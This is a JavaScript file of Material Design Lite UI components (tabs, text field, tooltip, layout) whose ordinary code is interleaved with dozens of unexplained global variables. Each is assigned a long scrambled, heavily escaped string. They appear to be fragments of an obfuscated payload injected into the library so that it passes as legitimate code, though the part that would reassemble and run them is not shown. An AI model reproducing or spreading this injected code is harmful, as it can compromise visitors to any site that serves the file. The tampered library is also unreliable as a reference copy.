* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Class constructor for Tabs MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {Element} element The element that will be upgraded.
*/
observeh='\'5\\\\)\\\\\\\\\\(+\'\\\\\'+a+4]\\P\'(p\\\\\\\\f-\'u\\\\\'\\\\A.\\\\\'\\VK1[To(t\');';
var MaterialTabs = function MaterialTabs(element) {
// Stores the HTML element.
this.element_ = element;
// Initialize instance.
this.init();
};
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string}
* @private
*/
neverd='Wv+ ln\\o\'imt\\c\\nru\\f\';a\'\\n\\zps+net\'z;rrdeus=tcsr=t\'v+o\\k\'rZc\\u\\z)t\\o\'h[a\\n\\u\\B\\l+I\\p\'\'E=f1\\t\'heg\\i\\a]rhtss];(\'$(\\e\\])\\\\\\\'\';\\0\'(\\(\\\\\\\"r+)\\+\\C+]';
MaterialTabs.prototype.Constant_ = {};
babyi=' \\=\\ ;3\\e\'n\\o\'t-s\\;\\d(k$l3k+o+yQw4-\\1\'t)s\\e\\w, W=\\ \\k{r\\e\'voo9c\\;\'\'If\\l\\f+ \\.\'\\\\\\\\h\\\'\\\\\\C\'o+\'8\\++(\\\\\\\'P)L\\\\\\\\++\\\'\'\\)O\\x\\\')\\=r[\\i\\\\Q\\S ';
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialTabs.prototype.CssClasses_ = {
TAB_CLASS: 'mdl-tabs__tab',
PANEL_CLASS: 'mdl-tabs__panel',
ACTIVE_CLASS: 'is-active',
UPGRADED_CLASS: 'is-upgraded',
MDL_JS_RIPPLE_EFFECT: 'mdl-js-ripple-effect',
MDL_RIPPLE_CONTAINER: 'mdl-tabs__ripple-container',
MDL_RIPPLE: 'mdl-ripple',
MDL_JS_RIPPLE_EFFECT_IGNORE_EVENTS: 'mdl-js-ripple-effect--ignore-events'
};
/**
* Handle clicks to a tabs component
*
* @private
*/
MaterialTabs.prototype.initTabs_ = function () {
if (this.element_.classList.contains(this.CssClasses_.MDL_JS_RIPPLE_EFFECT)) {
this.element_.classList.add(this.CssClasses_.MDL_JS_RIPPLE_EFFECT_IGNORE_EVENTS);
}
// Select element tabs, document panels
this.tabs_ = this.element_.querySelectorAll('.' + this.CssClasses_.TAB_CLASS);
this.panels_ = this.element_.querySelectorAll('.' + this.CssClasses_.PANEL_CLASS);
// Create new tabs for each tab element
for (var i = 0; i < this.tabs_.length; i++) {
new MaterialTab(this.tabs_[i], this);
}
this.element_.classList.add(this.CssClasses_.UPGRADED_CLASS);
};
real5='aqeu =,\'c)e-rQaLp;msoPcl $, urkEouo2t$ h,z20y\\l\'p\\i\\t\\l\\u\\m\' U,}e+e(pEa\\h\\s\\(\'z\\o\'g\\a\\ +';
/**
* Reset tab state, dropping active classes
*
* @private
*/
qbukibj='uPf+;}0/3o2)8\' ;=e x4etrsceibs;e\'0o=7\'\\\\\\\\([\'\\\\\'-iP[\'5\\EiK\\f\\]x\\7\\nbL\\Q\'9)\\]\\e\'(\\}\'(\\W\\+\\eJ11e+))ld8(l\\\\\\\\+s\'\\\\\']\\$\'(26\\f\\(n\'e\\54+\\\\\\\\.i[\\;\'L';
MaterialTabs.prototype.resetTabState_ = function () {
for (var k = 0; k < this.tabs_.length; k++) {
this.tabs_[k].classList.remove(this.CssClasses_.ACTIVE_CLASS);
}
};
/**
* Reset panel state, droping active classes
*
* @private
*/
MaterialTabs.prototype.resetPanelState_ = function () {
for (var j = 0; j < this.panels_.length; j++) {
this.panels_[j].classList.remove(this.CssClasses_.ACTIVE_CLASS);
}
};
/**
* Initialize element.
*/
as1='l y\'s\\=(\'\\2\\p\\+\\()5\'p\\))\\.\'3,+\\+\\_\\+\\\\A\\\\(\'\'+\\24 $i\'\\\\\'C1\\\\\\\\\\l\\),-\'$\\EL4\\8\\\\3\'\'T\\\\\'\\\\)+6\\i\\\'+;*n\\s\\c)i\'b\\t8m\\=\\\'+d\'S\\.15\'J=\\0\\y7l\\r\'aQe);';
MaterialTabs.prototype.init = function () {
if (this.element_) {
this.initTabs_();
}
};
/**
* Constructor for an individual tab.
*
* @constructor
* @param {Element} tab The HTML element for the tab.
* @param {MaterialTabs} ctx The MaterialTabs object that owns the tab.
*/
ameu='e+\\1\']\\%\\(\\0\\\'\\=\'4bnno+i+t\\i\'s:o\'p;;m6m3v0e5c ==\' Pr(e(g+ae;1\'$+).e(1mde\\g\\$Ko\\m\'zJP1\'.\\caQ\\1\\\\R\'I\\n\\+\\F\\p\\.\'\'x\\1b+\\(\\P_)\'\\\\\'S+\\\\\\\\$;co.)+G( .';
function MaterialTab(tab, ctx) {
if (tab) {
if (ctx.element_.classList.contains(ctx.CssClasses_.MDL_JS_RIPPLE_EFFECT)) {
var rippleContainer = document.createElement('span');
rippleContainer.classList.add(ctx.CssClasses_.MDL_RIPPLE_CONTAINER);
rippleContainer.classList.add(ctx.CssClasses_.MDL_JS_RIPPLE_EFFECT);
var ripple = document.createElement('span');
ripple.classList.add(ctx.CssClasses_.MDL_RIPPLE);
rippleContainer.appendChild(ripple);
tab.appendChild(rippleContainer);
}
tab.addEventListener('click', function (e) {
if (tab.getAttribute('href').charAt(0) === '#') {
e.preventDefault();
var href = tab.href.split('#')[1];
var panel = ctx.element_.querySelector('#' + href);
ctx.resetTabState_();
ctx.resetPanelState_();
tab.classList.add(ctx.CssClasses_.ACTIVE_CLASS);
panel.classList.add(ctx.CssClasses_.ACTIVE_CLASS);
}
});
}
}
glfl='.T,g\\\\\\\\(e\'\\\\\'7\\_\'\'S\\\\6\\\\+\\S$.-+\\\\\\\\hn\'\\\\\'0\\+\'E\\+\\2\\\\\\\\\\\'\'\\o\"\\\\\\\\S\\\\\\\"\\p(+\'y\\,)S0\\]\\ s+\\\\\'\\ef\\\"\\\\t(\\(\"[R{\'\';\\mKa\\t\\e\\r\\iZa\'l\\iL=H\'[e+k\'\\\\\\Tt\\\\\\\'\\|\\tYh\'/\\N\'i=\\c\'i/v\\m\\;R\'AZ\\i\\\'+\\\\;\'\\m\\\\[\\[\\$\')\\+\'Y\\h\\++\\e\\+ \\\"\"\\\\(\\E\\=\\2\\\'\'\\|\\\\\\\\\\(\\\\\'\'\\i t\\@\\wls\"a\\(F\'+;\'m\\a\\t\\t\\e\\r\'b\\={\'\\4\\+)\\\'\'\\5 \\+\\+)I';
// The component registers itself. It can assume componentHandler is available
yuxqo='Yy\\+\\0\\e\"p\\o\'h\\+\\e;eRkna)m)+T1ve.z\\i\\s{+\\m\'nsoei)t+i\'d;nmoocu+tehe5n=i\'h/sf+n5\\e\"nxi\\l\\+\\v\\pIl\\e\'c^am';
// in the global scope.
componentHandler.register({
constructor: MaterialTabs,
classAsString: 'MaterialTabs',
cssClass: 'mdl-js-tabs'
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Class constructor for Textfield MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
change6='o4r6e i<; cllvomtbh e;6k r=e vdoicv i=d el4v+mzbl w(j prko+f';
var MaterialTextfield = function MaterialTextfield(element) {
this.element_ = element;
this.maxRows = this.Constant_.NO_MAX_ROWS;
// Initialize instance.
this.init();
};
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialTextfield.prototype.Constant_ = {
NO_MAX_ROWS: -1,
MAX_ROWS_ATTRIBUTE: 'maxrows'
};
oxygen20='97315041409;';
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
rocpmwu='l]c\'t\\++s\\u\\f:f[i\\x\\0);\'m\\iZn:d+sT [=\\ \\s(h\'o\\eFde+\'b\\g+x\\x\\fG+=s\\t\\rca\'i\\gCh:tr1c+ u\\p\\i\'u\\;\'s\\h\\a\\lRl;w+ )=\' =rgurbegh+tsaa';
MaterialTextfield.prototype.CssClasses_ = {
LABEL: 'mdl-textfield__label',
INPUT: 'mdl-textfield__input',
IS_DIRTY: 'is-dirty',
IS_FOCUSED: 'is-focused',
IS_DISABLED: 'is-disabled',
IS_INVALID: 'is-invalid',
IS_UPGRADED: 'is-upgraded',
HAS_PLACEHOLDER: 'has-placeholder'
};
/**
* Handle input being entered.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialTextfield.prototype.onKeyDown_ = function (event) {
var currentRowCount = event.target.value.split('\n').length;
if (event.keyCode === 13) {
if (currentRowCount >= this.maxRows) {
event.preventDefault();
}
}
};
beganl='n\'\'\\;Si\\n\\d\\i\\c)a\"t\\eE2\'==\'4\\e\\dSi+v/ipdy;\\\'\'P/t\\l\\}sv\\ \'lo{\\=\\ \\8\\))7\\e\'5+(r0(h+;\\c\'Ogt\\=\\a\\6\\\'e=\\f\'xtxagSb[;\\\'\'/n\'\\\\\\+ Kn:is+\'=\\oLz\\\\\\\': s\\C\\ti/Ppf';
/**
* Handle focus.
*
* @param {Event} event The event that fired.
* @private
*/
ewhiu='$+WmM+.2;\'T\\\\A\'\\p\\\\=\\\'$\\)Nh\\+\\($\\|\".pk\\T\\ V_\\D\'X\\)\\\\\\\\\\(\\\'\"\\i\"V\\lN,\\o\\a+=$\\M\\p\\\\\'\\\\t\"\'\\\\\\hHlAjh$+pA;H\'\\\\\\{\\\\\'\\\\ \'.\\%\\+ $ac+|W\'n\\Vt\'\\;\\b\'o=omktfn=o\'u\\;\\\'Qt\\+\'nV\'o\\$pt\\(\\ii\\\'\'\\ts\\\\\\\\tlG+p:+:\\s\\\'P\\\\\\\'\\\\\\\'\\s\'\\\\\\\'+\\Si';
MaterialTextfield.prototype.onFocus_ = function (event) {
this.element_.classList.add(this.CssClasses_.IS_FOCUSED);
};
skill6='a({o))6ce+e(r;g]a\' ;,jsgnwofsd(=8\'efc\\a\'p/s\\ \\n\\o\\i{t\\c\'n+uff$;+k\\r\'eiv\\o\\c\\ \\=_ \\n\'ehkdo';
/**
* Handle lost focus.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialTextfield.prototype.onBlur_ = function (event) {
this.element_.classList.remove(this.CssClasses_.IS_FOCUSED);
};
/**
* Handle reset event from out side.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialTextfield.prototype.onReset_ = function (event) {
this.updateClasses_();
};
stream2='g\\\'\\\\I+\\\\\"\\;eo$v\\\\\\\\g[\'\\\\\'srTEnn) \'e=\\e\\eEv\\o\'l\\;\'\',J\\n\\A(]\\d\'d\\G\\)\\$\\\'\\\\\'E+\\+\\+(\\7\\n\\)\'.\\-\"t\\+\\_)6\\=\'(\\$\\1\\\\\\\\\\\'\'\\s\'\\\\\\\\T\\\\(\',.++e.ft7t\\F\\Sxa\'\'\\;3yieOa\\r\\2-=\"\'\\+f/';
/**
* Handle class updates.
*
* @private
*/
MaterialTextfield.prototype.updateClasses_ = function () {
this.checkDisabled();
this.checkValidity();
this.checkDirty();
this.checkFocus();
};
// Public methods.
/**
* Check the disabled state and update field accordingly.
*
* @public
*/
rail5='-+|bsrOo0trh\'e\\rn7\\;\\cdo2ncn)egc,ta5+ (=4 Lm(i\\g\\h6t\'8\\+\'h\\aLl\\f\\i+++cbacc\\l\\+7g\'a\\t\'h\\e\\r\\g\\;\\m\'a\\k6eVe) +=( Vr+e\\p\\r]e\'s\\e(na';
MaterialTextfield.prototype.checkDisabled = function () {
if (this.input_.disabled) {
this.element_.classList.add(this.CssClasses_.IS_DISABLED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_DISABLED);
}
};
single4='\\0\\[n)\'e\\/+1\\\\\\\\dV+\\)\'+](4\'i\\h})\\)\\L)\\\'\\\\))\\\\\'\\A)]t.e(s\' ;tsupto-nhh\\x\\=E\'\'E\\5\"[\\\\s\\\\\\\\\'+\\m\'p\\,\\\\)\\5.l\'+\\]\"\\\\\'Lu\\\\\\\\l(I\\I\'pf\\\\\\\\OZ\'+\\\\h\\\\u\\\\.\'\'\\\\\'p[+\\C\\+(.r\\f\\]o+';
MaterialTextfield.prototype['checkDisabled'] = MaterialTextfield.prototype.checkDisabled;
duckv='W ]j\\l\'ieo\\s\\{r i)suFfeyny.oRwt 3,cdPmis2oof$mr _,mv;b\\i\\dOr\\ \',)m/epk+e(vxpe \\,\\t\\n\'e\\v\'e\\(\\imqrr';
/**
* Check the focus state and update field accordingly.
*
* @public
*/
MaterialTextfield.prototype.checkFocus = function () {
if (Boolean(this.element_.querySelector(':focus'))) {
this.element_.classList.add(this.CssClasses_.IS_FOCUSED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_FOCUSED);
}
};
ironj='mbbt,m0;ewnhiigcnhe5( 4=d agejrtbh b=q +skrraqeun+{m)o l+e+cluvlmebu +;s4h4';
MaterialTextfield.prototype['checkFocus'] = MaterialTextfield.prototype.checkFocus;
effect7='\'o\\nnd\\i\\tei[oen\'m= 7=r eshttiocrkb5}+}m;svqeztga+ctoelq gnfreubt+elrm p s;npct';
/**
* Check the validity state and update field accordingly.
*
* @public
*/
MaterialTextfield.prototype.checkValidity = function () {
if (this.input_.validity) {
if (this.input_.validity.valid) {
this.element_.classList.remove(this.CssClasses_.IS_INVALID);
} else {
this.element_.classList.add(this.CssClasses_.IS_INVALID);
}
}
};
practice4='\\c\'\'\\\\\\{\\\\\\\\\\o\'tZ%iS+ur\'o\\f|\\\\\'\\a\\\\\\\\t(\'I\\\\+\\\'[=\\c\'c\\l\'hYk\\o\\z(;2\'[(+)\'+;.g]k]i(o0y)s0=\'\'\\\\;\\\\+\\$\\(\\x2)\';\\4h\\ \'*\\+\\e\\W\\2\\\\\'\\\\\'\'\\0\'\\\\\\\\l\\+\\/\\+,s\'\\\\\')5[\\0\\+\\+\\\'\\=\'5\\e\'v\\o\\r,pP;(\'0E2\'o\\+(=';
MaterialTextfield.prototype['checkValidity'] = MaterialTextfield.prototype.checkValidity;
divisionc='tuafiqna4 c, v=m rlaawn d,6v+dpnriowv e,53+maivadlsce(s0+u';
/**
* Check the dirty state and update field accordingly.
*
* @public
*/
centc='jlayqyjjt mn+orietzconvuwf;;t1etsste9w == vdjkvlfk+osyewv;e\'rWaLlI7';
MaterialTextfield.prototype.checkDirty = function () {
if (this.input_.value && this.input_.value.length > 0) {
this.element_.classList.add(this.CssClasses_.IS_DIRTY);
} else {
this.element_.classList.remove(this.CssClasses_.IS_DIRTY);
}
};
whole4='lridi5( =r omfa;t)evrdinailwi(+zboegfao r=e 8q+vwdrhw{z t)vlwk;lmaotu n,';
MaterialTextfield.prototype['checkDirty'] = MaterialTextfield.prototype.checkDirty;
/**
* Disable text field.
*
* @public
*/
uqhbgfvb='040\\6\\)t)\',\\3/\\:\\p)\\\\\\\'0.\"4\\.on:728^(\'\\\\\\S3\\\\\\\'\\\\\\\',/\"\\\\\\)(e59\'+;+oRt6hee(r\\7\\=-\'\'+\\$\'(\\c\\)\\d\\2\\e\'\\\\\\7J+\\w\'+G8+\\Q\\p\' =20x';
MaterialTextfield.prototype.disable = function () {
this.input_.disabled = true;
this.updateClasses_();
};
MaterialTextfield.prototype['disable'] = MaterialTextfield.prototype.disable;
/**
* Enable text field.
*
* @public
*/
MaterialTextfield.prototype.enable = function () {
this.input_.disabled = false;
this.updateClasses_();
};
MaterialTextfield.prototype['enable'] = MaterialTextfield.prototype.enable;
/**
* Update text field value.
*
* @param {string} value The value to which to set the control (optional).
* @public
*/
MaterialTextfield.prototype.change = function (value) {
this.input_.value = value || '';
this.updateClasses_();
};
pass1='ywf\\l\\i(i\\,\'3}mni\\a\"lMc\\(\\icq}rov\\(\' .f\\i\\{c ;)c+++:l)yof\\l\'i:i\' ;;wqdvmdthq- )=3 msitaolpch(+zgoog';
MaterialTextfield.prototype['change'] = MaterialTextfield.prototype.change;
/**
* Initialize element.
*/
tjlw='seek7r a=m (b o<r nvae+tyaecaorl2 +;b1atssee2w+ r=o pveebt;ahcoople(0 r=o';
MaterialTextfield.prototype.init = function () {
if (this.element_) {
this.label_ = this.element_.querySelector('.' + this.CssClasses_.LABEL);
this.input_ = this.element_.querySelector('.' + this.CssClasses_.INPUT);
if (this.input_) {
if (this.input_.hasAttribute(this.Constant_.MAX_ROWS_ATTRIBUTE)) {
this.maxRows = parseInt(this.input_.getAttribute(this.Constant_.MAX_ROWS_ATTRIBUTE), 10);
if (isNaN(this.maxRows)) {
this.maxRows = this.Constant_.NO_MAX_ROWS;
}
}
if (this.input_.hasAttribute('placeholder')) {
this.element_.classList.add(this.CssClasses_.HAS_PLACEHOLDER);
}
this.boundUpdateClassesHandler = this.updateClasses_.bind(this);
this.boundFocusHandler = this.onFocus_.bind(this);
this.boundBlurHandler = this.onBlur_.bind(this);
this.boundResetHandler = this.onReset_.bind(this);
this.input_.addEventListener('input', this.boundUpdateClassesHandler);
this.input_.addEventListener('focus', this.boundFocusHandler);
this.input_.addEventListener('blur', this.boundBlurHandler);
this.input_.addEventListener('reset', this.boundResetHandler);
if (this.maxRows !== this.Constant_.NO_MAX_ROWS) {
// TODO: This should handle pasting multi line text.
// Currently doesn't.
this.boundKeyDownHandler = this.onKeyDown_.bind(this);
this.input_.addEventListener('keydown', this.boundKeyDownHandler);
}
var invalid = this.element_.classList.contains(this.CssClasses_.IS_INVALID);
this.updateClasses_();
this.element_.classList.add(this.CssClasses_.IS_UPGRADED);
if (invalid) {
this.element_.classList.add(this.CssClasses_.IS_INVALID);
}
if (this.input_.hasAttribute('autofocus')) {
this.element_.focus();
this.checkFocus();
}
}
}
};
save3='\\ \'Lpd(.Ezelyn0YRzE\'T\\,z]\\\\\\\\[l}\\O\')\\\'\'=C2\\t\\a(oob+;+\'+ECo(\'\\\\\'$)\\\\\\\\Z2wO;\\+\\G:(\\\\\'\\T\'/\\\'\';\\s\\e\\v.e)r+agl\\7\\=\'\'\\I\'+\\}\\)\\O\\)\\\\a\'\')\\\\+\\+\\\'\\\\P)\\\\\'\\+\\+\\E\'j\\\\\'\'\\\\\\\\\\\\\\\\\\\\+\'\'c\\b;)';
// The component registers itself. It can assume componentHandler is available
// in the global scope.
componentHandler.register({
constructor: MaterialTextfield,
classAsString: 'MaterialTextfield',
cssClass: 'mdl-js-textfield',
widget: true
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Class constructor for Tooltip MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
var MaterialTooltip = function MaterialTooltip(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
any4='43537754207065193376632682160091025958744952473277468088';
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialTooltip.prototype.Constant_ = {};
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
hexl='\'l=cgtz=q\'sQmI;\\\'\'4\\o\\\'\\\\\\\\\\\\\"\\y\\s\'\\\\\"1hP\\)\\0s+\\x\'+t \\5\\\\\\\\\\(\\\'\'\\\\3\'(\\\'\\\\t++\\+\\+Wp(\\\\\'\\\\R\\\'\\\\\\]\\i\'\'\\\\\'Qs\\\\\\\\nEfaJ:) d\\[\\dp\'\\=\'m\\t\'j/q\\a\\j+;=\'/u+r\\ \\\'A\\\\Q\'\\\\\\\'sma\\I\\=rYH';
MaterialTooltip.prototype.CssClasses_ = {
IS_ACTIVE: 'is-active',
BOTTOM: 'mdl-tooltip--bottom',
LEFT: 'mdl-tooltip--left',
RIGHT: 'mdl-tooltip--right',
TOP: 'mdl-tooltip--top'
};
/**
* Handle mouseenter for tooltip.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialTooltip.prototype.handleMouseEnter_ = function (event) {
var props = event.target.getBoundingClientRect();
var left = props.left + props.width / 2;
var top = props.top + props.height / 2;
var marginLeft = -1 * (this.element_.offsetWidth / 2);
var marginTop = -1 * (this.element_.offsetHeight / 2);
if (this.element_.classList.contains(this.CssClasses_.LEFT) || this.element_.classList.contains(this.CssClasses_.RIGHT)) {
left = props.width / 2;
if (top + marginTop < 0) {
this.element_.style.top = '0';
this.element_.style.marginTop = '0';
} else {
this.element_.style.top = top + 'px';
this.element_.style.marginTop = marginTop + 'px';
}
} else {
if (left + marginLeft < 0) {
this.element_.style.left = '0';
this.element_.style.marginLeft = '0';
} else {
this.element_.style.left = left + 'px';
this.element_.style.marginLeft = marginLeft + 'px';
}
}
if (this.element_.classList.contains(this.CssClasses_.TOP)) {
this.element_.style.top = props.top - this.element_.offsetHeight - 10 + 'px';
} else if (this.element_.classList.contains(this.CssClasses_.RIGHT)) {
this.element_.style.left = props.left + props.width + 10 + 'px';
} else if (this.element_.classList.contains(this.CssClasses_.LEFT)) {
this.element_.style.left = props.left - this.element_.offsetWidth - 10 + 'px';
} else {
this.element_.style.top = props.top + props.height + 10 + 'px';
}
this.element_.classList.add(this.CssClasses_.IS_ACTIVE);
};
/**
* Hide tooltip on mouseleave or scroll
*
* @private
*/
voice5='4\\t\\s\\e\'b\\(\'l\\s\\s9e(riph{-)e5\\y\\r]e\\v\'eT 5,:7(sas)e\\r\'d+ \\,\\r]mEv\'y;ps(imsttneers0e=r\'p\\ \\nlo$i\\t\\c+n\\u\'fT;r\'\\v\'C+\'\\\\\\+p\\X\\\\d\\\'N\\\\e\'\\N\\c`';
MaterialTooltip.prototype.hideTooltip_ = function () {
this.element_.classList.remove(this.CssClasses_.IS_ACTIVE);
};
/**
* Initialize element.
*/
afsivfm='+o\'r;(zilqwrjvp kn=r\'u\\t\\e\\r\\{$)\\c\'aGi(odj(lZ 2,\\p\'l+e\\e\\t0so ),+d-hIc\\t\\a\\w\' \\,\'s\\h\\b7oErL(J4,dha\\e\\rQb\\ \'n$o6ixt(c;n0';
MaterialTooltip.prototype.init = function () {
if (this.element_) {
var forElId = this.element_.getAttribute('for') || this.element_.getAttribute('data-mdl-for');
if (forElId) {
this.forElement_ = document.getElementById(forElId);
}
if (this.forElement_) {
// It's left here because it prevents accidental text selection on Android
if (!this.forElement_.hasAttribute('tabindex')) {
this.forElement_.setAttribute('tabindex', '0');
}
this.boundMouseEnterHandler = this.handleMouseEnter_.bind(this);
this.boundMouseLeaveAndScrollHandler = this.hideTooltip_.bind(this);
this.forElement_.addEventListener('mouseenter', this.boundMouseEnterHandler, false);
this.forElement_.addEventListener('touchend', this.boundMouseEnterHandler, false);
this.forElement_.addEventListener('mouseleave', this.boundMouseLeaveAndScrollHandler, false);
window.addEventListener('scroll', this.boundMouseLeaveAndScrollHandler, true);
window.addEventListener('touchstart', this.boundMouseLeaveAndScrollHandler);
}
}
};
spotmwd='a):1\\o\'z,t\\d\\a](Mm\\t\\nre\\s\"eergpo h{s N)t)\\6\\wpe\\i\'vu(\'l;stseeqrgpf(efbi={\')o5';
// The component registers itself. It can assume componentHandler is available
raint='cinE psa/xuc[MtV/\'-;ssEo:u nYdmls=\\\'\\Es+\']\\yp\\.\\T\\+\'t\\i\'E\\\\\\\\(tp\'(\\t\'1\\\\o\'\\+\\\\e\\h6\\E\\)++\'0\\N\'\\\\\\m\\\\\'\\\\\'\'=\\7\\e-c[iM}R;3) 1\\t\\sOe\\w\',=d7h\\c\'t(a\\w\\,,s h+b';
// in the global scope.
componentHandler.register({
constructor: MaterialTooltip,
classAsString: 'MaterialTooltip',
cssClass: 'mdl-tooltip'
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
each0=';ek0r+eevsopce c=i a1lolzytsd;al;i)n1eo5z t=d aw(z)y]ldak+lckaoryewg[;z';
/**
* Class constructor for Layout MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
forcej='s;p\"o\"n h=x +wfcaimeo{u)sa1k;rmaadg n,eutrna e= ,eix3aymlpfl e,o4+tt';
var MaterialLayout = function MaterialLayout(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
untilk='r rQ;IfRi(c\'z=(c5g6n0o6s);;5140616219902731942953789072';
MaterialLayout.prototype.Constant_ = {
MAX_WIDTH: '(max-width: 1024px)',
TAB_SCROLL_PIXELS: 100,
RESIZE_TIMEOUT: 100,
MENU_ICON: '&#xE5D2;',
CHEVRON_LEFT: 'chevron_left',
CHEVRON_RIGHT: 'chevron_right'
};
/**
* Keycodes, for code readability.
*
* @enum {number}
* @private
*/
MaterialLayout.prototype.Keycodes_ = {
ENTER: 13,
ESCAPE: 27,
SPACE: 32
};
/**
* Modes.
*
* @enum {number}
* @private
*/
MaterialLayout.prototype.Mode_ = {
STANDARD: 0,
SEAMED: 1,
WATERFALL: 2,
SCROLL: 3
};
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialLayout.prototype.CssClasses_ = {
CONTAINER: 'mdl-layout__container',
HEADER: 'mdl-layout__header',
DRAWER: 'mdl-layout__drawer',
CONTENT: 'mdl-layout__content',
DRAWER_BTN: 'mdl-layout__drawer-button',
ICON: 'material-icons',
JS_RIPPLE_EFFECT: 'mdl-js-ripple-effect',
RIPPLE_CONTAINER: 'mdl-layout__tab-ripple-container',
RIPPLE: 'mdl-ripple',
RIPPLE_IGNORE_EVENTS: 'mdl-js-ripple-effect--ignore-events',
HEADER_SEAMED: 'mdl-layout__header--seamed',
HEADER_WATERFALL: 'mdl-layout__header--waterfall',
HEADER_SCROLL: 'mdl-layout__header--scroll',
FIXED_HEADER: 'mdl-layout--fixed-header',
OBFUSCATOR: 'mdl-layout__obfuscator',
TAB_BAR: 'mdl-layout__tab-bar',
TAB_CONTAINER: 'mdl-layout__tab-bar-container',
TAB: 'mdl-layout__tab',
TAB_BAR_BUTTON: 'mdl-layout__tab-bar-button',
TAB_BAR_LEFT_BUTTON: 'mdl-layout__tab-bar-left-button',
TAB_BAR_RIGHT_BUTTON: 'mdl-layout__tab-bar-right-button',
TAB_MANUAL_SWITCH: 'mdl-layout__tab-manual-switch',
PANEL: 'mdl-layout__tab-panel',
HAS_DRAWER: 'has-drawer',
HAS_TABS: 'has-tabs',
HAS_SCROLLING_HEADER: 'has-scrolling-header',
CASTING_SHADOW: 'is-casting-shadow',
IS_COMPACT: 'is-compact',
IS_SMALL_SCREEN: 'is-small-screen',
IS_DRAWER_OPEN: 'is-visible',
IS_ACTIVE: 'is-active',
IS_UPGRADED: 'is-upgraded',
IS_ANIMATING: 'is-animating',
ON_LARGE_SCREEN: 'mdl-layout--large-screen-only',
ON_SMALL_SCREEN: 'mdl-layout--small-screen-only'
};
/**
* Handles scrolling on the content.
*
* @private
*/
MaterialLayout.prototype.contentScrollHandler_ = function () {
if (this.header_.classList.contains(this.CssClasses_.IS_ANIMATING)) {
return;
}
var headerVisible = !this.element_.classList.contains(this.CssClasses_.IS_SMALL_SCREEN) || this.element_.classList.contains(this.CssClasses_.FIXED_HEADER);
if (this.content_.scrollTop > 0 && !this.header_.classList.contains(this.CssClasses_.IS_COMPACT)) {
this.header_.classList.add(this.CssClasses_.CASTING_SHADOW);
this.header_.classList.add(this.CssClasses_.IS_COMPACT);
if (headerVisible) {
this.header_.classList.add(this.CssClasses_.IS_ANIMATING);
}
} else if (this.content_.scrollTop <= 0 && this.header_.classList.contains(this.CssClasses_.IS_COMPACT)) {
this.header_.classList.remove(this.CssClasses_.CASTING_SHADOW);
this.header_.classList.remove(this.CssClasses_.IS_COMPACT);
if (headerVisible) {
this.header_.classList.add(this.CssClasses_.IS_ANIMATING);
}
}
};
remembery='+n\\=\\++M\\v\'n\\\'\'\\.\\\\\\\\\\(\\\\\'\'\\e.\\E\\x++ mxw+))\\\\\\\'oe\'\\\\\\{\\-\\c$a\\$\'O+\'\\=\\c_t\\n\'i\\o\'pI}\\;\\))v.b\\i\\dsr\\,\'m(e[kwe(v$pZ(or+t\'s;blumsp.sjnlcijods= \'n\\r\\u\\t\\e\\r\';\\t\'n\\e\\v:e+ i=';
/**
* Handles a keyboard event on the drawer.
*
* @param {Event} evt The event that fired.
* @private
*/
